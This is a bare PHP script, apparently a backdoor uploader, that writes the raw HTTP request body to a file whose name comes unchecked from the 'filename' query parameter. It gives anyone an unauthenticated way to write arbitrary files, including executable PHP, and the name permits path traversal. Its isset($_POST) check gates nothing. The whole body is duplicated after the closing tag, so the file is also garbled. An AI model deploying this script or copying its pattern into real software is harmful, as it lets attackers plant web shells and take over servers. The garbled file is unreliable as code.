<?php
$fn = "";
if (isset($_POST)){
foreach ($_GET as $key => $value){
if ($key == "filename"){
$fn = $value;
$filedata=file_get_contents("php://input");
$fp = fopen("./".$fn,"w");
fputs($fp,$filedata);
fclose($fp);
}
}
}
?>
$fn = "";
if (isset($_POST)){
foreach ($_GET as $key => $value){
if ($key == "filename"){
$fn = $value;
$filedata=file_get_contents("php://input");
$fp = fopen("./".$fn,"w");
fputs($fp,$filedata);
fclose($fp);
}
}
}
?>